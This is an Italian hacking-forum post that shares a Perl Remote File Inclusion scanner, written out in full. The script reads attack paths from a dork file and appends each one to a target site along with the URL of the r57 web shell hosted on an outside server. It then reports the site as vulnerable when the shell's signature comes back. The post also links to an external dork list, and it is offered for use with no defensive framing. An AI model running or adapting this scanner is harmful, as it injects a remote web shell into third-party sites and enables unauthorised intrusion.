HACKING 120% {Hacking, programmazione, computer & molto altro}

[Perl] RFI Scanner

« Older   Newer »
  Share  
vogy
view post Posted on 16/7/2014, 12:03     +1   -1




Gli scanner RFI sono famosi per funzionare malissimo, quindi vedendo che nel foro mancavano ne ho fatto uno io puntando sulla sua inutilità :)
Le dork vanno prese da un file esterno; in rete se ne trovano a migliaia, tra i tanti vi posto questo: http://sprunge.us/NXNZ
Dentro il file ci sono sia dork dirette su singolo url sia quelle di massa... un mass scanner non lo scrivo perché è troppo lamero :(

[source]
CODICE
#!/usr/bin/perl

#
# Simple RFI Scanner
# Usage: $0 -d dork_file -s site_to_test
# ie: thisfile.pl -d dorkdb -s http://www.foosite.com
#

use strict;
use warnings;
use Getopt::Std;
require HTTP::Request;
require LWP::UserAgent;

our ($opt_d, $opt_s);

# not mine: http://packetstormsecurity.com/files/121590/Bing-LFI-RFI-Scanner.html
# (thankU)
my $test_shell = "http://www.xfocus.net/tools/200608/r57.txt?";

sub usage {
       die "Usage: $0 -d dork_file -s site_to_test\nie: thisfile.pl -d dorkdb -s http://www.foosite.com\n";
       }

getopts('d:s:') || usage();
if ( not $opt_d or not $opt_s ) {
       usage();
       }
my $dorkfile = $opt_d;
my $site = $opt_s;

open my $fh, $dorkfile or die "can't open $dorkfile! $!\n";

while ( defined ( my $dork = <$fh> )) {
       chomp($dork);
       my $url = "$site"."/"."$dork"."$test_shell";
       # http://search.cpan.org/~gaas/HTTP-Message-6.06/lib/HTTP/Request.pm
       # http://search.cpan.org/~mschilli/libwww-perl-6.07/lib/LWP/UserAgent.pm
       my $request = HTTP::Request->new( GET => $url );
       my $ua = LWP::UserAgent->new;
       $ua->timeout(10);
       # $ua->env_proxy;
       my $response = $ua->request($request);
       if ( $response->is_success and $response->content =~ /r57shell/ and $response->content =~ /rst.void.ru/ ) {
               print " ==== !!! ====\n$url VULNERABLE\n ==== !!! ====\n";
               }
       else {
               print "failed: $dork\n";
               }
       
       }

close $fh;
exit

#EOF
 
Top
0 replies since 16/7/2014, 12:03   73 views
  Share